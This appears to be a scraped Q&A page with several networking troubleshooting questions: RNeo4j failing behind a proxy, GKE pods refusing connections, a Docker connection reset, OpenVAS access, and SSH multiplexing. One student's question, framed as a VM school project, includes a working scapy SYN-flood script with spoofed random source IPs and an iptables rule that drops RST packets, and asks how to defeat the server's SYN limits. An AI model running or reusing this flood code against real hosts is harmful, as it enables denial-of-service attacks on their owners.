RNeoj: RStudio cannot connect to neo4j Database error 503 indicated - r

How can I get RStudio to connect to Neo4j database?
Problem:
The following error is indicated when I attempt
to connect to neo4j database via RStudio using startGraph :
Error:
Server error: (503) Service Unavailable
#load library
library(RNeo4j)
#connect to graphdb
graph = startGraph("http://localhost:7474/db/data/")
(dbm authenthication is disabled [dbms.security.auth_enabled=false])
(Also tried with authentication enabled (by passing db username and password to startGraph), however the same error was indicated)
graph = startGraph("http://localhost:7474/db/data",
username="xxxx", password="xxxx")
Initial Setup Check:
Confirmed successful installation and operation of Neo4j.
1.Database is started and running successfully via neo4j (3.0.1) console
2.Confirmed able to connect successfully via Chrome Browser
3.Confirmed able to create graph and conduct queries via Chrome Browser interface.
Environment Info
proxy is configured on system
RNeo4j version 1.6.4
RStudio V. 0.99.892
R version 3.2.4 (2016-03-10)
Platform: x86_64-w64-mingw32/x64 (64-bit)
Running under: Windows 7 x64 (build 7601) Service Pack 1
Additional Details
I don't have any issues with proxy and RStudio creating and running Shiny Apps or installing any R packages on system.
I performed a netstat to check connections on localhost ports only applications connected are Neo4j and Web Browsers, not RStudio. (Is it normal to have so many connections open at one time?)
d:\Windows\System32\drivers\etc>netstat -a -o -n |grep :7474
TCP 127.0.0.1:7474 0.0.0.0:0 LISTENING 15528
TCP 127.0.0.1:7474 127.0.0.1:50884 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50885 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50886 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50888 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50889 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50898 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50899 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50913 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50914 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50915 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50916 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50917 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50918 ESTABLISHED 15528
TCP 127.0.0.1:50887 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50900 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50901 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50902 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50913 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50914 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50915 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50916 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50917 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50918 127.0.0.1:7474 ESTABLISHED 12356

I was able to successfully execute startGraph by bypassing the proxy for localhost.
Steps
1.I first troubleshooted the issue using curl outside at a windows command prompt using the [noproxy] option to successful conclusion (verified this works correctly):
curl -v --noproxy localhost, http://localhost:7474/db/data/
2.Then at the RStudio console I set my httr configuration (since it is same underlying curl interface) to use [noproxy] option by doing the following:
rstudio_console>set_config(config(noproxy = "localhost")) #set noproxy option
rstudio_console>set_config(config(verbose())) #set verbose to view http messages
3.Then execute startGraph with no options:
rstudio_console>> graph = startGraph("http://localhost:7474/db/data")
4.Voila Success:
rstudio_console> graph
< Graph >
$version
[1] "3.0.1"

Related

Ubuntu server limits to 5 SYN_RECV

For a school project I'm trying to do a DOS on an Ubuntu server (18.04) using Ubuntu desktop 18.04 with scapy. They are both placed as VM on VirtualBox.
On server side I have a python SimpleHTTPServer on port 80 that is pingable and reachable via browser by the desktop machine.
I'm trying to DoSing it using this code:
#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
#creating packet
# insert IP header fields
tcp = TCP()
ip = IP()
#set source IP as random valid IP
ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
ip.dst = target
# insert TCP header fields
tcp = TCP()
#set source port as random valid port
tcp.sport = random.randint(1,65535)
tcp.dport = port
#set SYN flag
tcp.flags = 'S'
send(ip/tcp)
return ;
#control arguments
if len(sys.argv) != 3:
print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
#call SYNFlood attack
sendSYN(target,port)
count += 1
print("Total packets sent: %i" % count)
print("==========================================")
that basically sends an infinite number of SYN requests to the target machine on the user specified port. Its usage is: sudo python pythonDOS.py <target IP> <target port>.
Before launching this I do sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP on the attacking machine, to prevent the kernel to send RST request.
The attack seems to work: on wireshark on the attacker machine I can see that packets are sent correctly, but the server doesn't go down.
Running a netstat -antp | grep 80 on the target server I obtain this output:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 138.221.76.4:24171 SYN_RECV -
tcp 0 0 192.168.1.51:80 164.253.235.187:64186 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
and if I rerun the command after few seconds:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 100.58.218.121:10306 SYN_RECV -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 47.206.177.213:39759 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
it seems that the server can handle a maximum of 5 SYN_RECV although I'm doing hundreds of these requests with the attacker machine, so I think this is why I can't DOS the server. The ufw is disabled. My objective is to disable or understand what's happening on the server and disable it in order to perform the DOS attack.
Any help is appreciated, thanks in advance.
UPDATE: I installed tshark on the target server and from that I can see that all the packets I'm sending are received on the server, so they are no lost in communication between the two virtual machines. Also running netstat -i I can see that there are no RX_DROP.

Connection refused communicating between pods

Our team has recently started to use GKE, but have encountered an intermittent problem on some of our pods that serve HTTP on port 8080. Other pods in the cluster, even on the same node, get a "connection refused" response when trying to connect using its cluster IP:
$ kubectl run -i --tty busybox --image=busybox --restart=Never -- sh!
/ # ping 10.28.2.141
PING 10.28.2.141 (10.28.2.141): 56 data bytes
64 bytes from 10.28.2.141: seq=0 ttl=62 time=2.212 ms
64 bytes from 10.28.2.141: seq=1 ttl=62 time=1.993 ms
64 bytes from 10.28.2.141: seq=2 ttl=62 time=4.662 ms
^C
--- 10.28.2.141 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.993/2.955/4.662 ms
/ # wget http://10.28.2.141:8080/health-check
Connecting to 10.28.2.141:8080 (10.28.2.141:8080)
wget: can't connect to remote host (10.28.2.141): Connection refused
However, the service is indeed running and listening on that port: if I exec onto the pod and run the same command, it works happily.
For other almost identical pods, this connectivity works correctly, but intermittently some fraction (maybe 10-20%) of pods end up in this state.
There are no errors in the pod logs.
This is a freshly provisioned GKE cluster on version 1.11.6-gke.3 with two nodes, no network policies, and Istio is not installed.
Any ideas on what the problem might be, or how to diagnose further? Happy to add any other information if it would be useful.

Docker - curl returned "connection reset"

I have docker host in a virtual machine.
the host is boot2docker 1.10-rc1.
and a container from a centOS 7.2 image.
I tried to run some application inside the container.
I started the two application and check the network status:
[root#564f3e59142b logs]# netstat -lnput
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:41656 0.0.0.0:* LISTEN 11995/BmtMDProvider
tcp6 0 0 :::44027 :::* LISTEN 4405/java
both application provides some HTTP service.
when I curl both applications (inside the same container) :
the response of java is OK
[root#564f3e59142b logs]# curl 127.0.0.1:44027
curl: (52) Empty reply from server
but on BmtMDProvider I got "connection reset by peer" instantly. This is a HTTP service url and it shouldn't return a "connection reset".
[root#564f3e59142b logs]# curl 127.0.0.1:41656
curl: (56) Recv failure: Connection reset by peer
the BmtMDProvider is some application from third party (I can't modify it) and works normally on a "real" machine.
Could I have some suggestion ,guide or diagnostic steps to find out where the "connection reset" comes from? Thanks.
Edit:
BmtMDProvider is a process spawned by java and it have a random port. the may be multiple instances of BmtMDProvider. java access BmtMDProvider by http (they are in same docker container and java got "connection reset", the same as curl)
Try running your container with IPV4 ports, meaning if you are currently running using
$ docker run -p 41656:41656 BmtMDProvider
run it as
$ docker run -p 127.0.0.1:41656:41656 BmtMDProvider

Cannot access OpenVAS following installation

I am sure that once I find the issue I am going to feel like a fool, but I have been pouring highlevel debugging into something that I know the answer must be right there.
Same issue on 2 different 'new' CentOS machines, I install OpenVAS, run openvas-check-setup --server a whole bunch of times, follow the instructions till error free, the ports light up but I cannot connect.
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9390 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9391 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9393 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9329 0.0.0.0:* LISTEN
I see the packets hit the server just fine:
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
10:32:27.119370 IP 10.20.10.47.ds-user > 10.180.10.51.9392: Flags [S], seq 2713892558, win 65535, options [mss 1460,nop,nop,sackOK], length 0
10:32:27.381288 IP 10.20.10.47.ds-mail > 10.180.10.51.9392: Flags [S], seq 2903829103, win 65535, options [mss 1460,nop,nop,sackOK], length 0
But the server never replies:
It's not a firewall:
[root#offtbn ~]# iptables-save
[root#offtbn ~]#
Firewall is empty
I tried all of the OpenVAS ports using http: and https: in every different browser and from multiple machines.
The first OpenVAS server 'did' work for a day, but something changed which is why I built the second machine from scratch. Both have the exact same issue and the exact same symptoms.
/etc/rc.d/init.d/openvas-administrator restart
/etc/rc.d/init.d/openvas-manager restart
/etc/rc.d/init.d/openvas-scanner restart
all run clean
I am really stumped on this one.
the site was having network issues.
From what I could tell, a proxy was breaking headers and somehow this exterior failure was effecting openvas's ability to do a basic login.
Did an install on a different network with the exact same distro and everything went flawless.
Not exactly sure the exact cause.

Parallel commands / file transfer on persistent single ssh connection

I have SSH connection created like:
ssh -MNf -S /tmp/mysocket user#host
And I'm using ssh without password for this session. I want to run multiple parallel commands (for example: 500 parallel commands) on the same connection and i want to copy files at the same time by using this persistent ssh socket,
so i can run commands with:
ssh -S /tmp/mysocket user#host md5sum file102 | cut -d " " -f 1
some times i get "Connection refused" warning but actually command works, i see multiple connections with "netstat -an" I understand that commands are not working on the same connection...
aokan-pc:~ $ netstat -an |grep ESTABLISHED |grep '192.168.1.30:22'
tcp 0 0 192.168.1.29:58568 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:60866 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:60385 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:60368 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:52523 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:42096 192.168.1.30:22 ESTABLISHED
tcp 0 0 192.168.1.29:42177 192.168.1.30:22 ESTABLISHED
1)
Is it possible to run parallel commands on 1 persistent openssh connection? How?
2)
Can I transfer multiple parallel files to the same remote host on 1 persistent ssh connection/socket? And I have to use a checksum system, I tried to use md5sum for checksum controls... (with rsync or with scp (using multiple connections) or with nfs how?)
3)
What are disadvantages of using single socket connection for this job? Instead of using one Should i use thousands of TCP socket connections to the same host?

Resources